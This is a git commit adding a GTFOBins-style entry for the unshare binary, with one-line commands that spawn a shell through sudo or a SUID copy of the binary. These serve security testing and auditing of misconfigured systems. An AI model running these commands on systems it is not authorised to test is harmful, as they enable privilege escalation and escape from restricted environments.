Add unshare

This commit is contained in:
Dov Murik 2018-05-30 08:17:06 +00:00
parent 80f6167334
commit d1906b7fdd

12
_gtfobins/unshare.md Normal file
View File

@ -0,0 +1,12 @@
---
functions:
execute-interactive:
- code: unshare /bin/sh
sudo-enabled:
- code: sudo unshare /bin/sh
suid-enabled:
- description: This keeps the SUID privileges only if the `-r` option is present.
code: ./unshare -r /bin/sh
suid-limited:
- code: ./unshare /bin/sh
---